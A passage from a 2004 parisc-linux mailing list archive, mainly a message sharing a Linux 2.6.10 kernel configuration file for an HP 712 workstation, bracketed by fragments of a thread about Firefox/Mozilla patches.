> experimental code to enable XPCOM using libffi (thanks to Randolph),
> similar to ia64, we had problems with the XUL code.
>
> I appreciate the effort! This has been on my usability todo list for
> ages!
>
> c.
>
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:31 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: =?ISO-8859-15?Q?Corn=E9_Beerse?= <cbeerse@lycos.nl>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Updated config files for parisc-712
Date: Mon, 20 Dec 2004 11:11:50 +0100
Lines: 737
Approved: news@gmane.org
Message-ID: <41C6A566.8040601@lycos.nl>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed;
  boundary="------------080503010407060206040807"
X-Trace: ger.gmane.org 1416624511 26491 80.91.229.3 (22 Nov 2014 02:48:31 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:48:31 +0000 (UTC)
To: maillist parisc-linux <parisc-linux@parisc-linux.org>
Original-X-From: - Wed Jul 02 21:27:44 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 20 Dec 2004 10:12:45 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx024) with SMTP; 20 Dec 2004 11:12:45 +0100
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 103463BE5D; Mon, 20 Dec 2004 03:12:41 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 21717-10; Mon, 20 Dec 2004 03:12:40 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id AFD383BE63; Mon, 20 Dec 2004 03:12:06 -0700 (MST)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 1B7AA3BE5D
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 20 Dec 2004 03:11:59 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 21681-07 for <parisc-linux@lists.parisc-linux.org>;
	Mon, 20 Dec 2004 03:11:58 -0700 (MST)
Original-Received: from palinux.hppa (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id C5B713BE5A
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 20 Dec 2004 03:11:57 -0700 (MST)
Original-Received: by palinux.hppa (Postfix)
	id 65E68495617; Mon, 20 Dec 2004 03:11:57 -0700 (MST)
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from lmfilto01.st1.spray.net (lmfilto01.st1.spray.net
	[212.78.202.65]) by palinux.hppa (Postfix) with ESMTP id 84D40495612
	for <parisc-linux@parisc-linux.org>;
	Mon, 20 Dec 2004 03:11:56 -0700 (MST)
Original-Received: from localhost (localhost [127.0.0.1])
	by lmfilto01.st1.spray.net (Postfix) with ESMTP id 12980165C03
	for <parisc-linux@parisc-linux.org>;
	Mon, 20 Dec 2004 10:11:54 +0000 (GMT)
Original-Received: from lmsmtp01.st1.spray.net ([212.78.202.111])
	by localhost (lmfilto01.st1.spray.net [212.78.202.32]) (amavisd-new,
	port 10024)
	with ESMTP id 24167-05 for <parisc-linux@parisc-linux.org>;
	Mon, 20 Dec 2004 10:11:52 +0000 (GMT)
Original-Received: from [130.78.75.214] (unknown [193.172.135.148])
	by lmsmtp01.st1.spray.net (Postfix) with ESMTP id 2543BEA
	for <parisc-linux@parisc-linux.org>;
	Mon, 20 Dec 2004 10:11:51 +0000 (GMT)
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US;
	rv:1.7.3) Gecko/20040910
X-Accept-Language: en-us, en
X-Virus-Scanned: by amavisd-new at spray.net
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NT
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:25029

This is a multi-part message in MIME format.
--------------080503010407060206040807
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit

Hello,

In the past weeks, I've spend some time refining the .config file for building 
kernels for a 712-workstation. With the help of this list I got it all working.

The config file uses modules, but not for stuff that is usable for booting.

Since I don't have a cvs-account (and donnot see myself as a developer) I cannot 
upload this file to the cvs. If someone else can, please do.


Thanks.


CBee

--------------080503010407060206040807
Content-Type: text/plain;
 name="config-2.6.10-rc3-pa8.712.modules"
Content-Transfer-Encoding: 7bit
Content-Disposition: inline;
 filename="config-2.6.10-rc3-pa8.712.modules"

#
# Automatically generated make config: don't edit
# Linux kernel version: 2.6.10-rc3-pa8
# Fri Dec 17 22:45:48 2004
#
CONFIG_PARISC=y
CONFIG_MMU=y
CONFIG_STACK_GROWSUP=y
CONFIG_RWSEM_GENERIC_SPINLOCK=y

#
# Code maturity level options
#
# CONFIG_EXPERIMENTAL is not set
CONFIG_CLEAN_COMPILE=y
CONFIG_BROKEN_ON_SMP=y

#
# General setup
#
CONFIG_LOCALVERSION="_712_modules"
CONFIG_SWAP=y
CONFIG_SYSVIPC=y
CONFIG_BSD_PROCESS_ACCT=y
# CONFIG_BSD_PROCESS_ACCT_V3 is not set
CONFIG_SYSCTL=y
# CONFIG_AUDIT is not set
CONFIG_LOG_BUF_SHIFT=14
# CONFIG_HOTPLUG is not set
CONFIG_KOBJECT_UEVENT=y
CONFIG_IKCONFIG=y
CONFIG_IKCONFIG_PROC=y
# CONFIG_EMBEDDED is not set
CONFIG_KALLSYMS=y
# CONFIG_KALLSYMS_EXTRA_PASS is not set
CONFIG_FUTEX=y
CONFIG_EPOLL=y
# CONFIG_CC_OPTIMIZE_FOR_SIZE is not set
CONFIG_SHMEM=y
CONFIG_CC_ALIGN_FUNCTIONS=0
CONFIG_CC_ALIGN_LABELS=0
CONFIG_CC_ALIGN_LOOPS=0
CONFIG_CC_ALIGN_JUMPS=0
# CONFIG_TINY_SHMEM is not set

#
# Loadable module support
#
CONFIG_MODULES=y
CONFIG_MODULE_UNLOAD=y
CONFIG_OBSOLETE_MODPARM=y
# CONFIG_MODULE_SRCVERSION_ALL is not set
CONFIG_KMOD=y

#
# Processor type and features
#
# CONFIG_PA7000 is not set
CONFIG_PA7100LC=y
# CONFIG_PA7200 is not set
# CONFIG_PA7300LC is not set
# CONFIG_PA8X00 is not set
CONFIG_PA11=y
# CONFIG_64BIT is not set
# CONFIG_SMP is not set
# CONFIG_PREEMPT is not set
# CONFIG_HPUX is not set

#
# Bus options (PCI, PCMCIA, EISA, GSC, ISA)
#
CONFIG_GSC=y
# CONFIG_HPPB is not set
# CONFIG_IOMMU_CCIO is not set
CONFIG_GSC_LASI=y
# CONFIG_GSC_WAX is not set
# CONFIG_EISA is not set
# CONFIG_PCI is not set
# CONFIG_CHASSIS_LCD_LED is not set
# CONFIG_PDC_CHASSIS is not set

#
# Executable file formats
#
CONFIG_BINFMT_ELF=y
# CONFIG_BINFMT_MISC is not set

#
# Device Drivers
#

#
# Generic Driver Options
#
CONFIG_STANDALONE=y
CONFIG_PREVENT_FIRMWARE_BUILD=y

#
# Memory Technology Devices (MTD)
#
# CONFIG_MTD is not set

#
# Parallel port support
#
CONFIG_PARPORT=m
CONFIG_PARPORT_PC=m
CONFIG_PARPORT_PC_CML1=m
CONFIG_PARPORT_GSC=m
# CONFIG_PARPORT_OTHER is not set
# CONFIG_PARPORT_1284 is not set

#
# Plug and Play support
#

#
# Block devices
#
# CONFIG_BLK_DEV_FD is not set
# CONFIG_PARIDE is not set
CONFIG_BLK_DEV_LOOP=y
CONFIG_BLK_DEV_CRYPTOLOOP=y
# CONFIG_BLK_DEV_NBD is not set
CONFIG_BLK_DEV_RAM=y
CONFIG_BLK_DEV_RAM_COUNT=16
CONFIG_BLK_DEV_RAM_SIZE=6144
CONFIG_BLK_DEV_INITRD=y
CONFIG_INITRAMFS_SOURCE=""
# CONFIG_CDROM_PKTCDVD is not set

#
# IO Schedulers
#
CONFIG_IOSCHED_NOOP=y
CONFIG_IOSCHED_AS=y
CONFIG_IOSCHED_DEADLINE=y
CONFIG_IOSCHED_CFQ=y

#
# ATA/ATAPI/MFM/RLL support
#
# CONFIG_IDE is not set

#
# SCSI device support
#
CONFIG_SCSI=y
CONFIG_SCSI_PROC_FS=y

#
# SCSI support type (disk, tape, CD-ROM)
#
CONFIG_BLK_DEV_SD=y
CONFIG_CHR_DEV_ST=y
# CONFIG_CHR_DEV_OSST is not set
CONFIG_BLK_DEV_SR=y
CONFIG_BLK_DEV_SR_VENDOR=y
CONFIG_CHR_DEV_SG=y

#
# Some SCSI devices (e.g. CD jukebox) support multiple LUNs
#
# CONFIG_SCSI_MULTI_LUN is not set
# CONFIG_SCSI_CONSTANTS is not set
# CONFIG_SCSI_LOGGING is not set

#
# SCSI Transport Attributes
#
CONFIG_SCSI_SPI_ATTRS=y
# CONFIG_SCSI_FC_ATTRS is not set

#
# SCSI low-level drivers
#
# CONFIG_SCSI_SATA is not set
# CONFIG_SCSI_PPA is not set
# CONFIG_SCSI_IMM is not set
CONFIG_SCSI_LASI700=y
CONFIG_53C700_MEM_MAPPED=y
CONFIG_53C700_LE_ON_BE=y
# CONFIG_SCSI_ZALON is not set
# CONFIG_SCSI_DEBUG is not set

#
# Multi-device support (RAID and LVM)
#
# CONFIG_MD is not set

#
# Fusion MPT device support
#

#
# IEEE 1394 (FireWire) support
#

#
# I2O device support
#

#
# Networking support
#
CONFIG_NET=y

#
# Networking options
#
CONFIG_PACKET=y
# CONFIG_PACKET_MMAP is not set
CONFIG_NETLINK_DEV=y
CONFIG_UNIX=y
CONFIG_NET_KEY=y
CONFIG_INET=y
# CONFIG_IP_MULTICAST is not set
# CONFIG_IP_ADVANCED_ROUTER is not set
CONFIG_IP_PNP=y
# CONFIG_IP_PNP_DHCP is not set
CONFIG_IP_PNP_BOOTP=y
# CONFIG_IP_PNP_RARP is not set
# CONFIG_NET_IPIP is not set
# CONFIG_NET_IPGRE is not set
# CONFIG_SYN_COOKIES is not set
CONFIG_INET_AH=m
CONFIG_INET_ESP=m
CONFIG_INET_IPCOMP=m
CONFIG_INET_TUNNEL=m
CONFIG_IP_TCPDIAG=m
# CONFIG_IP_TCPDIAG_IPV6 is not set
# CONFIG_NETFILTER is not set
CONFIG_XFRM=y
CONFIG_XFRM_USER=m
# CONFIG_BRIDGE is not set
# CONFIG_VLAN_8021Q is not set
# CONFIG_DECNET is not set
# CONFIG_LLC2 is not set
# CONFIG_IPX is not set
# CONFIG_ATALK is not set

#
# QoS and/or fair queueing
#
# CONFIG_NET_SCHED is not set
# CONFIG_NET_CLS_ROUTE is not set

#
# Network testing
#
# CONFIG_NET_PKTGEN is not set
# CONFIG_NETPOLL is not set
# CONFIG_NET_POLL_CONTROLLER is not set
# CONFIG_HAMRADIO is not set
# CONFIG_IRDA is not set
# CONFIG_BT is not set
CONFIG_NETDEVICES=y
# CONFIG_DUMMY is not set
# CONFIG_BONDING is not set
# CONFIG_EQUALIZER is not set
# CONFIG_TUN is not set

#
# Ethernet (10 or 100Mbit)
#
CONFIG_NET_ETHERNET=y
CONFIG_MII=y
CONFIG_LASI_82596=y

#
# Ethernet (1000 Mbit)
#

#
# Ethernet (10000 Mbit)
#

#
# Token Ring devices
#

#
# Wireless LAN (non-hamradio)
#
# CONFIG_NET_RADIO is not set

#
# Wan interfaces
#
# CONFIG_WAN is not set
# CONFIG_PLIP is not set
# CONFIG_PPP is not set
# CONFIG_SLIP is not set

#
# ISDN subsystem
#
# CONFIG_ISDN is not set

#
# Telephony Support
#
# CONFIG_PHONE is not set

#
# Input device support
#
CONFIG_INPUT=y

#
# Userland interfaces
#
CONFIG_INPUT_MOUSEDEV=y
CONFIG_INPUT_MOUSEDEV_PSAUX=y
CONFIG_INPUT_MOUSEDEV_SCREEN_X=1024
CONFIG_INPUT_MOUSEDEV_SCREEN_Y=768
# CONFIG_INPUT_JOYDEV is not set
# CONFIG_INPUT_TSDEV is not set
# CONFIG_INPUT_EVDEV is not set
# CONFIG_INPUT_EVBUG is not set

#
# Input I/O drivers
#
# CONFIG_GAMEPORT is not set
CONFIG_SOUND_GAMEPORT=y
CONFIG_SERIO=y
# CONFIG_SERIO_SERPORT is not set
# CONFIG_SERIO_PARKBD is not set
CONFIG_SERIO_GSCPS2=y
# CONFIG_HP_SDC is not set
# CONFIG_SERIO_RAW is not set

#
# Input Device Drivers
#
CONFIG_INPUT_KEYBOARD=y
CONFIG_KEYBOARD_ATKBD=y
# CONFIG_KEYBOARD_ATKBD_HP_KEYCODES is not set
# CONFIG_KEYBOARD_SUNKBD is not set
# CONFIG_KEYBOARD_LKKBD is not set
# CONFIG_KEYBOARD_XTKBD is not set
# CONFIG_KEYBOARD_NEWTON is not set
# CONFIG_KEYBOARD_HIL_OLD is not set
# CONFIG_KEYBOARD_HIL is not set
CONFIG_INPUT_MOUSE=y
CONFIG_MOUSE_PS2=y
# CONFIG_MOUSE_SERIAL is not set
# CONFIG_MOUSE_VSXXXAA is not set
# CONFIG_MOUSE_HIL is not set
# CONFIG_INPUT_JOYSTICK is not set
# CONFIG_INPUT_TOUCHSCREEN is not set
# CONFIG_INPUT_MISC is not set

#
# Character devices
#
CONFIG_VT=y
CONFIG_VT_CONSOLE=y
CONFIG_HW_CONSOLE=y
# CONFIG_SERIAL_NONSTANDARD is not set

#
# Serial drivers
#
CONFIG_SERIAL_8250=y
# CONFIG_SERIAL_8250_CONSOLE is not set
CONFIG_SERIAL_8250_NR_UARTS=4
# CONFIG_SERIAL_8250_EXTENDED is not set

#
# Non-8250 serial port support
#
# CONFIG_SERIAL_MUX is not set
# CONFIG_PDC_CONSOLE is not set
CONFIG_SERIAL_CORE=y
CONFIG_UNIX98_PTYS=y
CONFIG_LEGACY_PTYS=y
CONFIG_LEGACY_PTY_COUNT=256
CONFIG_PRINTER=m
# CONFIG_LP_CONSOLE is not set
# CONFIG_PPDEV is not set
# CONFIG_TIPAR is not set

#
# IPMI
#
# CONFIG_IPMI_HANDLER is not set

#
# Watchdog Cards
#
# CONFIG_WATCHDOG is not set
CONFIG_GEN_RTC=m
CONFIG_GEN_RTC_X=y
# CONFIG_DTLK is not set
# CONFIG_R3964 is not set

#
# Ftape, the floppy tape device driver
#
# CONFIG_AGP is not set
# CONFIG_DRM is not set
# CONFIG_RAW_DRIVER is not set

#
# I2C support
#
# CONFIG_I2C is not set

#
# Dallas's 1-wire bus
#
# CONFIG_W1 is not set

#
# Misc devices
#

#
# Multimedia devices
#
# CONFIG_VIDEO_DEV is not set

#
# Digital Video Broadcasting Devices
#
# CONFIG_DVB is not set

#
# Graphics support
#
CONFIG_FB=y
# CONFIG_FB_MODE_HELPERS is not set
# CONFIG_FB_TILEBLITTING is not set
CONFIG_FB_STI=y
# CONFIG_FB_VIRTUAL is not set

#
# Console display driver support
#
CONFIG_STI_CONSOLE=y
CONFIG_DUMMY_CONSOLE_COLUMNS=160
CONFIG_DUMMY_CONSOLE_ROWS=64
CONFIG_DUMMY_CONSOLE=y
CONFIG_FRAMEBUFFER_CONSOLE=y
# CONFIG_FONTS is not set
CONFIG_FONT_8x8=y
CONFIG_FONT_8x16=y

#
# Logo configuration
#
CONFIG_LOGO=y
CONFIG_LOGO_LINUX_MONO=y
CONFIG_LOGO_LINUX_VGA16=y
CONFIG_LOGO_LINUX_CLUT224=y
CONFIG_LOGO_PARISC_CLUT224=y

#
# Sound
#
CONFIG_SOUND=m

#
# Advanced Linux Sound Architecture
#
CONFIG_SND=m
CONFIG_SND_TIMER=m
CONFIG_SND_PCM=m
# CONFIG_SND_SEQUENCER is not set
CONFIG_SND_OSSEMUL=y
CONFIG_SND_MIXER_OSS=m
CONFIG_SND_PCM_OSS=m
# CONFIG_SND_VERBOSE_PRINTK is not set
# CONFIG_SND_DEBUG is not set

#
# Generic devices
#
CONFIG_SND_DUMMY=m
# CONFIG_SND_MTPAV is not set
# CONFIG_SND_SERIAL_U16550 is not set
# CONFIG_SND_MPU401 is not set

#
# GSC devices
#
CONFIG_SND_HARMONY=m

#
# Open Sound System
#
# CONFIG_SOUND_PRIME is not set

#
# USB support
#
# CONFIG_USB_ARCH_HAS_HCD is not set
# CONFIG_USB_ARCH_HAS_OHCI is not set

#
# NOTE: USB_STORAGE enables SCSI, and 'SCSI disk support' may also be needed; see USB_STORAGE Help for more information
#

#
# USB Gadget Support
#
# CONFIG_USB_GADGET is not set

#
# File systems
#
CONFIG_EXT2_FS=y
# CONFIG_EXT2_FS_XATTR is not set
CONFIG_EXT3_FS=y
CONFIG_EXT3_FS_XATTR=y
# CONFIG_EXT3_FS_POSIX_ACL is not set
# CONFIG_EXT3_FS_SECURITY is not set
CONFIG_JBD=y
# CONFIG_JBD_DEBUG is not set
CONFIG_FS_MBCACHE=y
CONFIG_REISERFS_FS=y
# CONFIG_REISERFS_CHECK is not set
# CONFIG_REISERFS_PROC_INFO is not set
# CONFIG_REISERFS_FS_XATTR is not set
# CONFIG_JFS_FS is not set
# CONFIG_XFS_FS is not set
# CONFIG_MINIX_FS is not set
# CONFIG_ROMFS_FS is not set
# CONFIG_QUOTA is not set
CONFIG_DNOTIFY=y
# CONFIG_AUTOFS_FS is not set
# CONFIG_AUTOFS4_FS is not set

#
# CD-ROM/DVD Filesystems
#
CONFIG_ISO9660_FS=y
CONFIG_JOLIET=y
CONFIG_ZISOFS=y
CONFIG_ZISOFS_FS=y
# CONFIG_UDF_FS is not set

#
# DOS/FAT/NT Filesystems
#
CONFIG_FAT_FS=m
CONFIG_MSDOS_FS=m
CONFIG_VFAT_FS=m
CONFIG_FAT_DEFAULT_CODEPAGE=437
CONFIG_FAT_DEFAULT_IOCHARSET="iso8859-1"
# CONFIG_NTFS_FS is not set

#
# Pseudo filesystems
#
CONFIG_PROC_FS=y
# CONFIG_PROC_KCORE is not set
CONFIG_SYSFS=y
# CONFIG_DEVPTS_FS_XATTR is not set
# CONFIG_TMPFS is not set
# CONFIG_HUGETLB_PAGE is not set
CONFIG_RAMFS=y

#
# Miscellaneous filesystems
#
# CONFIG_HFSPLUS_FS is not set
# CONFIG_CRAMFS is not set
# CONFIG_VXFS_FS is not set
# CONFIG_HPFS_FS is not set
# CONFIG_QNX4FS_FS is not set
# CONFIG_SYSV_FS is not set
# CONFIG_UFS_FS is not set

#
# Network File Systems
#
CONFIG_NFS_FS=y
CONFIG_NFS_V3=y
CONFIG_NFSD=y
CONFIG_NFSD_V3=y
CONFIG_NFSD_TCP=y
CONFIG_ROOT_NFS=y
CONFIG_LOCKD=y
CONFIG_LOCKD_V4=y
CONFIG_EXPORTFS=y
CONFIG_SUNRPC=y
CONFIG_SMB_FS=m
# CONFIG_SMB_NLS_DEFAULT is not set
CONFIG_CIFS=m
# CONFIG_CIFS_STATS is not set
# CONFIG_CIFS_XATTR is not set
# CONFIG_CIFS_POSIX is not set
# CONFIG_NCP_FS is not set
# CONFIG_CODA_FS is not set

#
# Partition Types
#
# CONFIG_PARTITION_ADVANCED is not set
CONFIG_MSDOS_PARTITION=y

#
# Native Language Support
#
CONFIG_NLS=y
CONFIG_NLS_DEFAULT="iso8859-1"
# CONFIG_NLS_CODEPAGE_437 is not set
# CONFIG_NLS_CODEPAGE_737 is not set
# CONFIG_NLS_CODEPAGE_775 is not set
# CONFIG_NLS_CODEPAGE_850 is not set
# CONFIG_NLS_CODEPAGE_852 is not set
# CONFIG_NLS_CODEPAGE_855 is not set
# CONFIG_NLS_CODEPAGE_857 is not set
# CONFIG_NLS_CODEPAGE_860 is not set
# CONFIG_NLS_CODEPAGE_861 is not set
# CONFIG_NLS_CODEPAGE_862 is not set
# CONFIG_NLS_CODEPAGE_863 is not set
# CONFIG_NLS_CODEPAGE_864 is not set
# CONFIG_NLS_CODEPAGE_865 is not set
# CONFIG_NLS_CODEPAGE_866 is not set
# CONFIG_NLS_CODEPAGE_869 is not set
# CONFIG_NLS_CODEPAGE_936 is not set
# CONFIG_NLS_CODEPAGE_950 is not set
# CONFIG_NLS_CODEPAGE_932 is not set
# CONFIG_NLS_CODEPAGE_949 is not set
# CONFIG_NLS_CODEPAGE_874 is not set
# CONFIG_NLS_ISO8859_8 is not set
# CONFIG_NLS_CODEPAGE_1250 is not set
# CONFIG_NLS_CODEPAGE_1251 is not set
# CONFIG_NLS_ASCII is not set
# CONFIG_NLS_ISO8859_1 is not set
# CONFIG_NLS_ISO8859_2 is not set
# CONFIG_NLS_ISO8859_3 is not set
# CONFIG_NLS_ISO8859_4 is not set
# CONFIG_NLS_ISO8859_5 is not set
# CONFIG_NLS_ISO8859_6 is not set
# CONFIG_NLS_ISO8859_7 is not set
# CONFIG_NLS_ISO8859_9 is not set
# CONFIG_NLS_ISO8859_13 is not set
# CONFIG_NLS_ISO8859_14 is not set
# CONFIG_NLS_ISO8859_15 is not set
# CONFIG_NLS_KOI8_R is not set
# CONFIG_NLS_KOI8_U is not set
# CONFIG_NLS_UTF8 is not set

#
# Kernel hacking
#
# CONFIG_DEBUG_KERNEL is not set

#
# Security options
#
# CONFIG_KEYS is not set
# CONFIG_SECURITY is not set

#
# Cryptographic options
#
CONFIG_CRYPTO=y
CONFIG_CRYPTO_HMAC=y
CONFIG_CRYPTO_NULL=m
# CONFIG_CRYPTO_MD4 is not set
CONFIG_CRYPTO_MD5=m
CONFIG_CRYPTO_SHA1=m
# CONFIG_CRYPTO_SHA256 is not set
# CONFIG_CRYPTO_SHA512 is not set
# CONFIG_CRYPTO_WP512 is not set
CONFIG_CRYPTO_DES=m
# CONFIG_CRYPTO_BLOWFISH is not set
# CONFIG_CRYPTO_TWOFISH is not set
# CONFIG_CRYPTO_SERPENT is not set
# CONFIG_CRYPTO_AES is not set
# CONFIG_CRYPTO_CAST5 is not set
# CONFIG_CRYPTO_CAST6 is not set
# CONFIG_CRYPTO_TEA is not set
# CONFIG_CRYPTO_ARC4 is not set
# CONFIG_CRYPTO_KHAZAD is not set
# CONFIG_CRYPTO_ANUBIS is not set
CONFIG_CRYPTO_DEFLATE=m
# CONFIG_CRYPTO_MICHAEL_MIC is not set
# CONFIG_CRYPTO_CRC32C is not set
# CONFIG_CRYPTO_TEST is not set

#
# Library routines
#
CONFIG_CRC_CCITT=m
CONFIG_CRC32=y
# CONFIG_LIBCRC32C is not set
CONFIG_ZLIB_INFLATE=y
CONFIG_ZLIB_DEFLATE=m

--------------080503010407060206040807
Content-Type: text/plain; charset="us-ascii"
MIME-Version: 1.0
Content-Transfer-Encoding: 7bit
Content-Disposition: inline

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
--------------080503010407060206040807--



From - Thu Nov 08 21:36:31 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Ivar <orskaug@stud.ntnu.no>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Firefox/Mozilla patches
Date: Mon, 20 Dec 2004 00:27:29 +0100 (MET)
Lines: 36
Approved: news@gmane.org
Message-ID: <Pine.GSO.4.58.0412192355390.5415@panter.stud.ntnu.no>
References: <Pine.GSO.4.58.0412172254550.1196@panter.stud.ntnu.no>
	<20041219203417.GE25304@baldric.uwo.ca>
	<Pine.GSO.4.58.0412192218090.4208@panter.stud.ntnu.no>
	<20041219225246.GG25304@baldric.uwo.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN;
  charset=US-ASCII
X-Trace: ger.gmane.org 1416624511 26493 80.91.229.3 (22 Nov 2014 02:48:31 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:48:31 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: Carlos O'Donell <carlos@baldric.uwo.ca>
Original-X-From: - Wed Jul 02 21:27:44 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 19 Dec 2004 23:29:25 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx069) with SMTP; 20 Dec 2004 00:29:25 +0100
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 1F9653BE67; Sun, 19 Dec 2004 16:29:23 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 15913-02; Sun, 19 Dec 2004 16:29:21 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 296583BE6C; Sun, 19 Dec 2004 16:27:47 -0700 (MST)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id E8A093BE67
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 19 Dec 2004 16:27:32 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 15193-10 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 19 Dec 2004 16:27:32 -0700 (MST)
Original-Received: from palinux.hppa (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id CF0493BE64
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 19 Dec 2004 16:27:31 -0700 (MST)
Original-Received: by palinux.hppa (Postfix)
	id 87D0C495617; Sun, 19 Dec 2004 16:27:31 -0700 (MST)
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from royk.itea.ntnu.no (royk.itea.ntnu.no [129.241.190.230])
	by palinux.hppa (Postfix) with ESMTP id 291EA495612
	for <parisc-linux@parisc-linux.org>;
	Sun, 19 Dec 2004 16:27:31 -0700 (MST)
Original-Received: from localhost (localhost [127.0.0.1])
	by royk.itea.ntnu.no (Postfix) with ESMTP id F257966CAF;
	Mon, 20 Dec 2004 00:27:29 +0100 (CET)
Original-Received: from panter.stud.ntnu.no (panter.stud.ntnu.no [129.241.56.186])
	by royk.itea.ntnu.no (Postfix) with ESMTP;
	Mon, 20 Dec 2004 00:27:29 +0100 (CET)
In-Reply-To: <20041219225246.GG25304@baldric.uwo.ca>
X-Content-Scanned: with sophos and spamassassin at mailgw.ntnu.no.
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:25030



On Sun, 19 Dec 2004, Carlos O'Donell wrote:

